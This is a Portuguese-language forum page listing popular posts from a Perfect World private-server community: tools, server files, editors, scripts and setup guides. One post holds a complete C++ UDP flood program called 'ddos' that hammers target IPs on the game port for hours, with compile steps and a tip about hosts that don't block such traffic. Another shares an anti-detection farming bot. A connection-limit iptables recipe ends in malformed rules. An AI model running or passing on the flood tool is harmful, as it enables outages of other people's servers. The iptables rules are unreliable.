Ir para conteúdo
Facebook Whatsapp Twitter Youtube

Os Melhores

Conteúdo popular

Mostrando conteúdo com a maior reputação desde 12/18/25 in todas as áreas

  1. Sabe aqueles PW que coloca uma aréa de farme e ao redor coloca estaca de madeira ou algum mob imune pra evitar o auto cultivo? Então, tava de bobeira no Discord com uns amigos e resolvi fazer um bot para melhorar o auto-cultivo? Não espere muito, fiz todo cagado para uso pessoal e amigos, mas vou compartilhar com vocês aqui 😄 Funções (que eu lembro) Ignora o Mob que você quiser Pega moedas/itens do chão ao matar Repara automaticamente o seu set (função do inventário) Autopot Se morrer volta pro mesmo lugar que estava (as vezes não funciona xisde) Aviso no chat(qualquer um) toda vez que encontra o mob indesejado (você pode desativar (pra não levar ban) isso no settings.ini) Um txt cheio de logs pra você ver oque rolou Atalhos (que eu lembro) F1 = F1 ou macro F2 = Coloque a skill de pegar itens do chão F3 = Coloque o boticário que você vai usar (HP) F4 = Coloque o boticário que você vai usar (MP) Configure o mob a ser ignorado na imagem include/estaca-de-madeira.png Fora isso, não precisa de configuração, basta abrir o jogo e deixa na tela do PW. Eu gravei isso para ajudar meu amigo na instalação/uso: [Conteúdo Oculto] (ignore as configurações, era de um versão antiga) Download: bot-pw.zip
    4 pontos
  2. desculpe pelo problema do tópico. Eu só quero compartilhar essa ferramenta para que vocês possam gerar cores gradientes sem instalar o delphi community edition. muito simples de usar e direto. os valores "BarColor" "BarcolorStop" devem ser copiados no Resource Tuner fórmula usada: Valor decimal=(B×256²)+(G×256)+R view: ColorPicker.7z
    4 pontos
  3. Há algum tempo eu venho estudando sobre os octets do PW (hex strings) para adicionar os detalhes dos itens no visualizador de inventário do meu painel. Inclusive eu achei esses 2 pdfs que estão anexados nesse post perdidos por aí (Além de outros projetos relacionados), o que me ajudou bastante no começo. E apartir disso eu construi esse projeto em php chamado PWHexParser que recebe um octet de um item, o tipo do item e retorna um json como resultado, exemplos: Lendo octets de uma roupa: <?php require __DIR__ . '/../vendor/autoload.php'; $decoder = new App\Decoder(); $decoder->setItemType('Fashion'); // Weapon, Armor, Charm, Jewelry, Flight, Card... $decoder->sethexString('1e00000092470100010a620072007500630065000000'); //Mandarin Silk Gown $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level_req": 30, "color": 18322, "gender": 1, "creator_type": 1, "name_length": 5, "name": "bruce", "color_mask": 0 } Adivinhando o tipo do item (arma nesse caso): <?php require __DIR__ . '/../vendor/autoload.php'; $mask = 1; // Weapon $decoder = new App\Decoder(); $decoder->guessItemType($mask); $decoder->sethexString('5a00ff001001000031000000b4610000786900002c00040a4200720075006300650000000000090000000b00000000000000930200009b0500000000000000000000180000000000604000000000010000000000000003000000114500009200000001000000f02300004d000000cf2500000e000000'); $result = $decoder->decodeHexString(); header('Content-Type: application/json'); echo json_encode($result, JSON_PRETTY_PRINT); Resultado: { "level": 90, "class": 255, "strength": 272, "vitality": 0, "dexterity": 49, "magic": 0, "min_durability": 250, "max_durability": 270, "item_type": 44, "item_flag": 4, "name_length": 10, "name": "Bruce", "ranged_type": 0, "weapon_type": 9, "weapon_grade": 11, "ammunition_type": 0, "min_physical_damage": 659, "max_physical_damage": 1435, "min_magic_damage": 0, "max_magic_damage": 0, "attack_rate": 0.83, "attack_range": 3.5, "minimum_range": 0, "sockets_count": 1, "sockets": [ 0 ], "addons_count": 3, "addons": { "special_addons": [ { "id": 1297, "value": 146, "level": 1 } ], "normal_addons": [ { "id": 1008, "value": 77 }, { "id": 1487, "value": 14 } ], "refine_addons": [ ], "socket_addons": [ ] } } O projeto está disponível no Github e também é possível instalar via composer: Ele não está 100% finalizado ainda, mas já da pra utilizar em algum projeto de seu interesse. :) Hex Data Guide v2T2.pdf Hex Code Guide By Drakaer.pdf
    4 pontos
  4. Pessoal, baixem ai a 1.7.3v344 Server: [Conteúdo Oculto] Client: [Conteúdo Oculto] EN cliente [Conteúdo Oculto] perfect world 174 br Sistema Operacional: Debian 12 Script de Instalação: [Conteúdo Oculto]
    3 pontos
  5. Baixe o Resource Tuner: [Conteúdo Oculto] Depois de baixado, abra-o e clique em Arquivo > Abrir Arquivo > launcher.exe Uma vez aberto, você verá uma série de coisas no lado esquerdo do programa. Vá em frente e abra RC Data e você verá uma lista completa de novas pastas que são necessárias para modificar o lançador. Compreendendo a Estrutura do Lançador: TBACKFORM: Neutral ( Contém o plano de fundo principal do seu lançador. ) Tipo de Arquivo: PNG Você pode salvar isso ou substituí-lo por qualquer coisa que desejar, apenas certifique-se também de alterar a propriedade ClientWidth e ClientHeight. (Backform: TBackForm & Img:TImage) TlauncherMain:Neutral contém todos os botões que você precisa modificar se quiser modificar tudo sozinho. Isso também contém o texto ou registros do patcher quando está atualizando coisas dentro do cliente. Dependendo da versão que você tem, isso pode variar. Eu recomendo usar uma versão mais antiga do lançador do Alex para que isso funcione no seu. Porque tenho visto versões mais recentes com proteção contra modificações. Opcional: se você quiser alterar os valores de cor para o que desejar, precisará de um ambiente de desenvolvimento integrado (IDE) do Delphi chamado Embarcadero RADStudio. É gratuito e você pode instalá-lo sozinho. Depois de entrar no RADStudio, crie um novo formulário VCL e adicione apenas um rótulo ou algo que você possa modificar suas cores. Certifique-se de clicar duas vezes na caixa de texto de cor para poder definir uma cor personalizada que você deseja. Agora vá para o projeto e construa o projeto para que você possa compilar o formulário que acabou de fazer e abri-lo em outra instância do ResourceTuner. Agora copie o que você tem na guia de cor, geralmente é um número de 7 dígitos que representa a cor selecionada. Isso é bastante útil para a barra de progresso, já que a cor da barra de progresso pode ser alterada. Depois de ter feito tudo isso, basta salvar e aproveitar os resultados. Exemplo do meu trabalho: Coisas a observar ao preparar os gráficos: O tipo de arquivo do plano de fundo principal é PNG (ele suporta transparência, é claro). Os botões e o plano de fundo do seu registro de texto são BMP, então você precisa convertê-lo para BMP. Certifique-se de que não tenha nenhuma transparência, caso contrário, ficará estranho.
    3 pontos
  6. Sistema de Mensagem Automática - Exclusivo e Configurável Características principais: Mensagens aleatórias personalizáveis Agendamento de mensagens em horários específicos Mensagens com cores customizáveis Totalmente configurável ao seu gosto Como usar: Abra o arquivo "guia.txt" e siga o tutorial passo a passo. Suporte: Qualquer dúvida, deixem neste post que estarei aqui para ajudar! Espero que gostem do sistema! 😊 [Conteúdo Oculto]
    3 pontos
  7. Salve, hoje venho compartilhar este projeto feito em nodejs com os entusiastas da programação O projeto ainda estava no começo, mas a base e muitas funções já estão pronta, tais como; Login Cadastro (com ou sem confirmação no e-mail) Recuperar conta Reenviar e-mail de ativação Template dos e-mails Dashboard cru Página de doação (parei aqui) Para rodar o painel é bastante simples; Instale o node NodeJS >=20.00 - [Conteúdo Oculto] Crie um banco de dados e importe o config/tables.sql para o mesmo Configure o config/settings.js com as informações dos bancos de dados, url do cors, porta do aplicação, hash etc Pronto agora é só instalar as dependências e iniciar a aplicação npm install npm start Se você fez tudo certo você deve ver uma mensagem de sucesso no terminal informando que a aplicação foi iniciado na porta definida Download: node-js.zip
    3 pontos
  8. Dear All Brazilian Friends, I share this perfect world panel, actually this panel base from @tomirons code. Download Link: [Conteúdo Oculto] NOTE: Still have bugs, try to fix by yourself Demo: [Conteúdo Oculto]
    3 pontos
  9. 3 pontos
  10. Eu fiz esses dias para um amigo, vou deixar o inicio do código para você. Criei um bash que leia o arquivo de log “/logs/world2.chat” esse arquivo registra as mensagens do jogo…. o tail abaixo acompanha a leitura do arquivo e envia para um PHP (essa parte peguei do rank que tem por ai), adicionei o filtro chl=1 significa que vai pegar apenas mensagens do GLOBAL você pode alterar para outros facilmente lendo log. #!/bin/bash tail -f -n0 /home/logs/world2.chat | grep --line-buffered 'chl=1 msg=' | while read LINE0 do php seu_arquivo_novo_aqui.php "${LINE0}" done Substitua o seu_arquivo_novo_aqui.php pelo nome que der a seu file php que vai receber a linha como parâmetro… Ja no php vou deixar as variáveis pegando o ID do personagem e a mensagem enviada. <?php $user_id = intval(explode('=',$argv[1])[1]); $msg = explode('=',$argv[1])[3]; ?> Pronto agora você tem a base simples pegando a mensagem e o ID do personagem! Para enviar um item ou uma mensagem usando a API – PW é coisa simples tem muitos exemplos. Vou deixar apenas a base para você decidir o que quer fazer. Nota extra: A mensagem vem em base64 eu não recomendo abrir ela mesmo que seja simples exige força computacional voce simplesmente pode comparar com IF ou fazer um SWITCH com bases64 e gastar menos esforço.
    3 pontos
  11. Esse sistema foi feito pelo Leo B2host é só criar um cron em php e seja feliz. <?php /** ** Programado por Leandro Hermes - [Conteúdo Oculto] **/ $config = array ( // Configs 'host' => '127.0.0.1', // Host 'port' => '29300', // Port // Chat ID: [0] - Common; [1] - World; [2] - Group; [3] - Faction; // Chat ID: [4] - Private; [6] - Info; [7] - TRADE; [9] - System; [10]- NoChat; [12] - Horn 'chatid1' => '9', // Chat ID #1 // Role ID in Message to Chat 'roleid1' => '', // Role ID #1 | You can empty ID | ID -1 = : // Message to Chat 'message1' => "mensagem que sera falado no chat GM" , // Message #1 | No Message - Do not go ); function socketsend($data, $ip,$port) { if(!@$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) {throw new Exception("Erro ao conectar no servidor do pw"); exit();} socket_connect($sock,$ip,$port); socket_set_block($sock); socket_send($sock, $data, 8192, 0); socket_recv($sock, $buf, 8192, 0); socket_set_nonblock($sock); socket_close($sock); return $buf; } function cuint($data) { if($data < 64) return strrev(pack("C", $data)); else if($data < 16384) return strrev(pack("S", ($data | 0x8000))); else if($data < 536870912) return strrev(pack("I", ($data | 0xC0000000))); return strrev(pack("c", -32) . pack("i", $data)); } function PackString($data) { $data = iconv("UTF-8", "UTF-16LE", $data); return cuint(strlen($data)).$data; } function PackOctet($data) { $data = pack("H*", $data); return cuint(strlen($data)).$data; } function gameChat($user,$msg,$chan,$host,$port) { $System = pack("C*",$chan); $Emotion = pack("C*",0); $Char = pack("N*",$user); $Message = PackString($msg); $data = PackOctet(''); $Packet = $System.$Emotion.$Char.$Message.$data; $Data = cuint(120).cuint(strlen($Packet)).$Packet; socketsend($Data, $host,$port); } // comment out what you dont use gameChat($config['roleid1'],$config['message1'],$config['chatid1'],$config['host'], $config['port']); ?> avisoBroadcast-unico.php
    3 pontos
  12. Skin 1 Skin 2 Skin 3 Download: Skin 1 patcher.zip Skin 2 patcher.zip Skin 3 patcher.zip
    2 pontos
  13. Abre arquivos .pck até a versão 1.5.5 Créditos : by Jolan PCK_Module_BY_BETO.rar
    2 pontos
  14. video da instalação do .ova para servidor de pw 155 no ubuntu.. vai com script lua e sistema de logs.
    2 pontos
  15. Bom galera, estou compartilhando os files que nosso querido @miguelzera disponibilizou um tempo atrás. Arquivo 1 – script de instalação CentOS7 Arquivo 2 – PWServer, Cliente [email protected], libs e SQL Arquivo 3 – Tutorial CPW Arquivo 4 – Tutorial iptables Vídeo instalando pacotes centOS7 Créditos @miguelzera Assim que tiver tempo posto um vídeo. Imagem do vbox pronta, só importar para seu vbox. Acesso ao phpmyadmin – [Conteúdo Oculto] Senhas 123456789 Contem registro básico [Conteúdo Oculto] Download ova Download Cliente
    2 pontos
  16. Dynamic Objects Editor C++ (x64 bit) A convenient editor for the dynamicobjects.data file with support for both old and new data formats. Version 2 introduces new extra parameters — Left and Right. Features: Add and delete objects Support for both data formats Convert between versions (upgrade/downgrade) Edit extra parameters A simple, fast, and user-friendly tool for managing dynamic server objects. Connection: [Conteúdo Oculto] ====================================================== Um editor prático para o arquivo dynamicobjects.data, com suporte aos formatos antigo e novo. A versão 2 introduz novos parâmetros extras — Esquerdo e Direito. Recursos: Adição e remoção de objetos Suporte a ambos os formatos de dados Conversão entre versões (atualização/downgrade) Edição de parâmetros extras Uma ferramenta simples, rápida e intuitiva para gerenciar objetos dinâmicos do servidor. Conexão: [Conteúdo Oculto] [-> Download <-]
    2 pontos
  17. Bom, como devem saber, esses arquivos ai já vazaram tem um bom tempo e até hoje eu vejo gente querendo tirar vantagem e cobrar por esses arquivos ou para alterar algo neles. Tudo que você vai precisar substituir dos arquivos da Server Side: GS e GLINKD. Tudo que você vai precisar substituir dos arquivos do Client Side: elementclient.exe e adicionar o arquivo 155.dll na pasta element. Detalhes importantes ! Para funcionamento dos atalhos no inventário é necessário que você puxe os ícones e chame as funções na sua interfaces.pck ou se preferir pode usar uma interfaces que já tenha isso, todas são a mesma coisa só tem alterações visuais em algumas. Para funcionamento da lojinha OFF, é necessário adicionar o botão também na interfaces.pck com a função e um item no inventário com o ID: 65532. Possui mais algumas funções também como: Ganhar chi ao meditar, reset de DG pelo botão, nick colorido entre outros ai, faz tempo que não uso esses arquivos então não me recordo bem de todas as funções que tem. No mais é isso, caso tenha alguma dúvida ou eu tenha esquecido de algo, me corrige ai ou me chama ai no pv ou no discord: ScroL#6530 FILES 155 COM ATALHOS E MAIS.rar
    2 pontos
  18. Caso esse limite seja ultrapassado, bloqueia o HWID (identificação única do hardware) e registra informações sobre o IP, quantidade de pacotes enviados e a data Instale o iptables-persistent e o pacote mysql-client sudo apt-get update sudo apt-get install iptables-persistent mysql-client Carregue o módulo xt_recent sudo modprobe xt_recent Regras do iptables sudo iptables -N HWID_BLOCK sudo iptables -A HWID_BLOCK -m recent --name HWID --set --mask 255.255.255.255 --rsource sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 86400 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 sudo iptables -A INPUT -p tcp --dport 29000 -m connlimit --connlimit-above 25 --connlimit-mask 0 -j HWID_BLOCK sudo iptables-save | sudo tee /etc/iptables/rules.v4 Crie um script para salvar as informações no MySQL. Por exemplo, crie o arquivo /usr/local/bin/save_to_mysql.sh com o seguinte conteúdo Não se esqueça de criar um banco de dados chamado 'connections' #!/bin/bash IP_ADDRESS=$1 PACKETS=$2 DATE=$(date +"%Y-%m-%d %H:%M:%S") mysql -u <username> -p<password> -e "INSERT INTO connections (ip_address, packets, date) VALUES ('$IP_ADDRESS', '$PACKETS', '$DATE');" <database> Dê permissão de execução ao script sudo chmod +x /usr/local/bin/save_to_mysql.sh Adicione uma regra no iptables para chamar o script quando o limite de conexões for excedido. No exemplo abaixo, assumimos que o script está localizado em /usr/local/bin/save_to_mysql.sh: sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 sudo iptables -A HWID_BLOCK -m recent --name HWID --update --seconds 0 --mask 255.255.255.255 --rsource -j LOG --log-prefix "HWID blocked: " --log-level 4 --nflog-prefix "iptables-save: " --nflog-group 1 --nflog-range 64 --nflog-threshold 10 --nflog-cprange 128 --nflog
    2 pontos
  19. Olá todos, vim compartilhar com vocês hoje, um template que eu comprei há mais ou menos 1 ano e acabei não utilizando e também não tenho pretensão de utilizar. Esse template está no formato de html5 ( html, css e js), e está como uma tela em branco, você pode ajustar da maneira que deseja. Conteúdo do arquivo: Capturas de Tela: Baixar: Granage Template.rar
    2 pontos
  20. Informações: Versão compatível: 1.5.5v156 Essa lib foi desenvolvida por um amigo e aprimorada por mim, para que pudesse controlar os lances e batalhas de Guerra territoriais. Eu deixei todas as funções o mais didático possível, para que até mesmo leigos possam alterar as funções sem prejudicar a funcionalidade. Todos os comentários que fiz no arquivo script.lua, ajudará você a modificar a ferramenta. Você mesmo pode melhorar as funções como por exemplo, horário de inicio de lances, final e batalha. Você pode modificar para que, cada dia inicie em um horário diferente, basta retornar o valor correto de result. Como exemplo: function BidBeginTime( now ) --Inicio dos Lances -- Constantes local result = BattleManagerLogic(now) local hour = 12 -- Hora de Inicio local minuter = 1 -- Minutos (se for antes de 10 minutos, não coloque 05, coloque apenas 5) -- Variáveis if result == 0 then -- Se for domingo, os lances iniciaram ás 15:10 hour = 15 minuter = 10 end mylogfunc("BidBeginTime: now = "..now) mylogfunc("BidBeginTime: DAY = "..result) return result*DAY + hour*HOUR + minuter*MIN end Vai da imaginação de vocês, isso é apenas um exemplo. Instalação: - Extraia os arquivos nas referentes pastas ( já vai tudo separado ). - Adicione no seu ./start.sh o seguinte código quando iniciar gdeliveryd: cd /PWServer/gdeliveryd; LD_PRELOAD=twman.so ./gdeliveryd gamesys.conf > /PWServer/logs/gdeliveryd.log & - Configure o arquivo script.lua e pronto! Reinicie totalmente o jogo e basta aguardar o horário de inicio para os testes. Obs: Nunca adicione algo dessa forma no servidor de produção, sempre faça testes antes. TwManager.rar
    2 pontos
  21. Com esse editor você conseguirá editar os pontos de teleporte e seus nomes, lembre-se que se for criar um novo ponto deverá adiciona-lo na quest do atlas geográfico. World Targets Editor By Luka.rar
    2 pontos
  22. Fala galera! Estou trazendo um script que finalizei para um amigo hoje e resolvi postar para ajudar vocês, não é muito mas já traz alguma facilidade sem ter a necessidade de enviar as mensagens via aipolicy ou de outra maneira. Em breve estarei trazendo mais coisas para contribuir com a comunidade. Abraços Script de Envio de Mensagens Automáticas Este é um script que automatiza o envio de mensagens por meio de um intervalo de tempo definido. Ele é projetado para simplificar o processo de comunicação enviando mensagens em momentos específicos, sem a necessidade de intervenção manual. Funcionamento: O script utiliza um temporizador para enviar as mensagens em intervalos regulares, facilitando o agendamento preciso das comunicações. Cada mensagem é definida com um conteúdo específico e um canal de destino. O tempo entre o envio de cada mensagem é configurável, permitindo uma personalização completa do ritmo de comunicação. Como Definir as Mensagens: Arquivo JSON: As mensagens são armazenadas em um arquivo JSON, proporcionando uma estrutura organizada e fácil de gerenciar. Estrutura de Dados: Cada mensagem é representada como um objeto no arquivo JSON, contendo o conteúdo da mensagem, o canal de destino e o intervalo de tempo entre os envios. Configuração Personalizada: Os usuários podem definir livremente o conteúdo das mensagens, ajustando-as de acordo com as necessidades específicas de comunicação. Como Configurar o Tempo de Envio: Intervalo de Tempo: O tempo entre os envios das mensagens é configurado em segundos, proporcionando flexibilidade para adaptar o ritmo de comunicação às demandas do cenário. Próximo Envio: Após o envio de uma mensagem, o script calcula automaticamente o momento do próximo envio com base no intervalo de tempo configurado. Benefícios do Script de Envio de Mensagens: Automatização: Elimina a necessidade de enviar manualmente cada mensagem, economizando tempo e esforço. Precisão: O uso de um temporizador garante que as mensagens sejam enviadas pontualmente de acordo com o intervalo definido. Personalização: Permite a customização das mensagens e dos intervalos de tempo para atender às suas necessidades específicas. SEND_MSG_PW.rar
    2 pontos
  23. É editor do Precinct.sev. Ele edita o arquivo Precinct.sev, que responde para o player de respawn. Editor pode Abrir / salvar / editar 6/7 versões de arquivo precinct.sev. Converter de 6 para 7 ou 7 para 6. Mostrar zonas e respawn lugar no mapa. Zonas de desenho e locais de respawn em mapas Múltiplas zonas / pontos de eliminação. obter coordenadas do jogo com Control + A ou outras combinações. Suporta Inglês. Precinct.sev editor.rar
    2 pontos
  24. Win_Character (Exemplo): <LABEL Name="Txt_Value1" x="185" y="329"> <!-- Nome do campo --> <Text String="Missões" FontName="方正细黑一简体" FontSize="10" Color="255,203,74,255" OutlineColor="0,0,0,0" TextUpperColor="0,0,0,0" TextLowerColor="0,0,0,0"/> </LABEL> <LABEL Name="Lab_Value1" x="258" y="329"> <!-- O segredo está aqui, adicionar valores até o final do foreach --> <Text String="0000" FontName="方正细黑一简体" FontSize="10" OutlineColor="0,0,0,0" TextUpperColor="0,0,0,0" TextLowerColor="0,0,0,0"/> </LABEL> Win_Inventory (Exemplo): <STILLIMAGEBUTTON Name="btn_asm_bank" x="125" y="250" Width="34" Height="25" Command="asm_bank"> <!-- Você solicita por aqui o comando asm_ --> <Hint String="^ffcb4aAbrir o sistema de armazém"/> <Text FontName="方正细黑一简体" FontSize="12"/> <Resource> <FrameUpImage FileName="icon.bmp"/> <FrameDownImage FileName="icon.bmp"/> <FrameOnHoverImage FileName="icon.bmp"/> </Resource> </STILLIMAGEBUTTON>
    2 pontos
  25. [Conteúdo Oculto] Créditos: Matheus Araujo
    1 ponto
  26. Bon editor original do Luka = [Conteúdo Oculto] a minha source está no anexo, com as edições que fiz. abaixo segue o project do I’m Hex , que eu usei para analisar a estrutura BonFileEditor.7z teste.hexproj
    1 ponto
  27. Bom galerinha do suporteGM Presente ai [Conteúdo Oculto] [Conteúdo Oculto] [Conteúdo Oculto]
    1 ponto
  28. Esse editor foi compilado por mim, qualquer problema só entrar em contato que quando eu tiver um tempo eu respondo nesse link você já vai tirar a maioria das duvidas. [Conteúdo Oculto] AUIEditor2.7z
    1 ponto
  29. Coisas importantes na source Pode ser compilado para sistemas 32 ou 64 bits você vai ter que fazer ajustes no makefile e resolver os problemas que aparecerem. PACKAGE’S LIST : ( Estou usando o Ubuntu-20.04 (source 152), os nomes dos packages ou comandos podem mudar de acordo com a Distro que você está usando ). Os pacotes são os mesmo usados para rodar o servidor, adicionando somente alguns para fins de compilação. sudo apt-get install build-essential sudo apt-get install gcc-multilib sudo apt-get install g++-multilib sudo apt-get install dos2unix sudo apt-get install default-jdk sudo apt-get install libxml-dom-perl sudo apt-get install libxml2-dev sudo apt-get install libpcre3-dev sudo apt-get install libssl-dev sudo apt-get install libcrypto++-dev sudo apt-get install ant sudo apt-get install libsaxonhe-java sudo apt-get install libxslt1-dev sudo apt-get install libreadline-dev sudo apt-get install python sudo dpkg --add-architecture i386 sudo apt-get install libssl1.0-dev:i386 download the “libssl1.0.0_1” package wget [Conteúdo Oculto] sudo dpkg -i *.deb sudo apt-get update sudo apt-get upgrade apt --fix-broken install sudo apt-get install zlib1g:i386 sudo apt-get install libncurses5:i386 sudo apt-get install libssl-dev:i386 sudo apt-get install libxml2:i386 sudo apt-get install libpcre3-dev:i386 sudo apt-get install libxml2-dev:i386 sudo apt-get install libc6:i386 sudo apt-get install libstdc++6:i386 sudo apt-get update sudo apt-get upgrade Primeiro de tudo converter os arquivos para UNIX : pwsource/ = ./fixsrc.sh ( essa é minha pasta raiz “pwsource” você deve colacar o script dentro da sua pasta raiz ) #!/bin/bash find . -name "*.h" -exec dos2unix {} \; find . -name "*.hpp" -exec dos2unix {} \; find . -name "*.hxx" -exec dos2unix {} \; find . -name "*.cpp" -exec dos2unix {} \; find . -name "*.cxx" -exec dos2unix {} \; find . -name "Makefile" -exec dos2unix {} \; chmod -R 0755 . ; chmod -R 0755 * chown -R root:root ; chown -R root:root * share : pasta e arquivos = common , io , mk, perf, rpc, rpcgen, storage criar um link dinâmico para a pasta “cnet” ou copiar diretamente os arquivos. cnet : gfaction/operations/ = ./opgen.pl opgen.xml ( cria arquivos protocol’s) cnet/ = ./rpcgen rpcalls.xml ( cria arquivos protocol’s ) gamed/ = cria static lib libgsPro2.a gdbclient/ = cria static lib libdbCli.a logclient/ = cria static lib liblogCli.a io/ = cria static lib libgsio.a storage/ = cria static lib libdb.a ( necessário instalar o Berkeley DB 4.2 ( por algum motivo as pessoas não usam essa static lib para compilar a gs, outros jogos da Wanmei usam isso quando compila a gs. ) ) gacd/ = cria gacd gamedbd/ = cria gamedbd gauthd/ = cria gauthd substitui a authd feita em java . gdeliveryd/ = cria gdeliveryd gfaction/ = cria gfaction glinkd/ = cria glinkd logservice/ = cria logservice uniquenamed/ = cria uniquenamed gacdclient/ = ???? gclient/ = ???? cskill : skill/ = cria static lib libskill.a gen/ = ant compile cria skilleditor ( alterar a versão do java no “build.xml” para sua versão instalada) gen/ = ant -buildfile build.xml cria gen.jar ( skilleditor e gen.jar trabalham juntos , em teoria conecta num banco de dados) gen/ = java -jar gen.jar ( executa o programa ) Obs. : Existe uma relação desse programa com o rpcalls.xml , existe uma função no xmlcoder.pl para verificar a versão do rpcalls.xml ele tenta acessar o bando de dados. iolib : copiar as statics libs ( arquivos *.a ) da pasta “cnet” para a “iolib”. cgame: libcommon/ = cria static lib libcommon. a ( não é necessário copiar para “iolib”) cgame/ = cria gs e a dynamic lib libtask.so Extra: Não tem uma utilidade real, porém o arquivo “rpcalls.xsl” serve para gerar uma versão do “rpcalls.xml” em “.html” Gera um HTML com link para os arquivos. cnet/ = java -jar /usr/share/java/Saxon-HE.jar -s:rpcalls.xml -xsl:rpcalls.xsl -o:nome.html cria nome.html (“nome” é o nome do arquivo html, você pode usar qualquer um) OBS. : A pasta “share” existem muitos programas em java, porém não são necessários para compilar a source mas devem ter alguma utilidade, não me aprofundei mais fiquem a vontade para descobrir suas funcionalidades.
    1 ponto
  30. Muito bom, obrigado. Qual a senha ?
    1 ponto
  31. Boa tarde galera, hj eu vim contribuir no fórum. Ultimamente estou estudando bastante as coisinhas do servidor, e ontem peguei pra arrumar o inventário com atalhos que postaram aqui no fórum. Ele ficou assim: Pra colocar ele basta ter os arquivos que colocaram aqui no forum. Depois baixe: E por fim, coloquei eles no seu interfaces.pck Pronto. Creditos : @Fulano (Que me ajudou a entender como isso funciona). @scrol (Por disponibilizar os arquivos com atalhos no forum) inventory_f.xml inventory_m.xml
    1 ponto
  32. Olá bom dia a todos, Eu pedi autorização ao Segment para trazer essa ferramenta pra vocês, principalmente para quem está utilizando a versão 1.5.5 que foi construída por ele. Recomendado para quem tem o mínimo possível de conhecimento com programação, pois, qualquer alteração indevida, ela pode não funcionar mais, então, antes de qualquer alteração salve sempre um backup da ultima versão funcional. E principalmente utilize para gerar ainda mais conhecimento, pois esse é o intuito do fórum. Eu não tenho créditos nenhum por essa ferramenta, pois quando foi construída eu não conhecia o Segment ainda. Todos os créditos são absolutamente para ele, inclusive por deixar compartilhar isso com vocês. Tlgram: @segment32 (Ele aluga a versão 1.6.2, se quiser uma versão mais atual) Eu tenho muita coisa ainda, mas vamos com calma =) Com essa ferramenta e muita vontade, você consegue melhorar e muito seu servidor de Perfect World. Então, façam bom uso da ferramenta. Talvez em breve eu traga o código de algumas deamons para ampliar ainda mais. Só queria pedir para que não compartilhassem essa ferramenta fora do fórum suportegm, pois foi autorizado a trazer pra vocês no Brasil, pra que eu possa continuar trazendo conteúdos (não só dele, mas meu também,). Façam bom uso: 155dl source.rar
    1 ponto
  33. Boa tarde Segue em anexo, os custom da transformação do WB e WF. CustonsWFWB.rar Créditos: Bum4ik Fórum Russo
    1 ponto
  34. 1 ponto
  35. pwsever 1.6.5 = [Conteúdo Oculto] original164 GS atualizada para remover o erro de versão antiga original164.gs
    1 ponto
  36. Mapa do mundo principal do PW em PSD editável world.psd
    1 ponto
  37. Dependências sudo dnf install gcc-c++ glibc-devel make Compilar o código g++ ddos.cpp -o ddos -lpthread ./ddos VPS sem bloqueio: idconline.vn #include <iostream> #include <chrono> #include <thread> #include <cstring> #include <vector> #include <arpa/inet.h> #include <sys/socket.h> #include <unistd.h> #define PORT 29000 #define PACKET_SIZE 1024 // Paket boyutu (bayt cinsinden) #define PACKETS_PER_CYCLE 500 // Döngü başına gönderilecek paket sayısı #define CYCLE_DURATION 0.1 // Döngü süresi (milisaniye cinsinden) #define TOTAL_HOURS 5 // Çalışma süresi (saat cinsinden) #define TIMEOUT_SECONDS 10 // Bağlantı zaman aşımı süresi (saniye cinsinden) // Paketleri belirtilen IP'ye gönderen fonksiyon void send_packets(int sockfd, struct sockaddr_in& server_addr) { char packet[PACKET_SIZE]; memset(packet, 'A', PACKET_SIZE); for (int i = 0; i < PACKETS_PER_CYCLE; ++i) { sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr*)&server_addr, sizeof(server_addr)); } } int main() { // Hedef IP adresleri std::vector<std::string> ips = {"127.0.0.1", "127.0.0.2", "127.0.0.3", "127.0.0.4", "127.0.0.1"}; std::vector<int> sockets; std::vector<struct sockaddr_in> server_addrs; // Her IP için bir soket oluştur ve yapılandır for (const auto& ip : ips) { int sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { std::cerr << "Soket oluşturulurken hata: " << ip << std::endl; continue; } struct timeval timeout; timeout.tv_sec = TIMEOUT_SECONDS; timeout.tv_usec = 0; setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); struct sockaddr_in server_addr; memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(PORT); inet_pton(AF_INET, ip.c_str(), &server_addr.sin_addr); sockets.push_back(sockfd); server_addrs.push_back(server_addr); } auto start_time = std::chrono::steady_clock::now(); auto end_time = start_time + std::chrono::hours(TOTAL_HOURS); // Belirtilen süre boyunca paket gönder while (std::chrono::steady_clock::now() < end_time) { for (size_t i = 0; i < sockets.size(); ++i) { send_packets(sockets[i], server_addrs[i]); } std::this_thread::sleep_for(std::chrono::microseconds(static_cast<int>(CYCLE_DURATION * 1000))); } // Soketleri kapat for (int sockfd : sockets) { close(sockfd); } return 0; }
    1 ponto
  38. Editor de ícone em inglês! PWIconListEditor(Eng).7z
    1 ponto
  39. 1 ponto
  40. É que você já tinha baixado a versão que postei errado, logo depois a mesma foi atualizada com os erros citados já corrigidos. Obrigado por coloborar, abraço
    1 ponto
  41. Link retirado de outro fórum com algumas correções feitas: Traduzido pelo ChatGPT Reparado a casa Fix na recarga direta de pontos VIP Reparado o shopping, adicionar novas modas e aeronaves Fix para que a sincronização do mapa possa ser reparada Fix em algumas cópias de NPCs e monstros ausentes Fix na maioria dos NPCs ausentes Reparado desconexão ocasional do gs Reparado o Conjunto Yuxian Fix algumas habilidades locais que não podem ser aprendida. A nova ocupação não exibe o modelo. Abra as configurações do jogo. Basta cancelar o modo de alta performance. [GOOGLE DRIVE] PW 1.6.5 Atualizado 12/12/23
    1 ponto
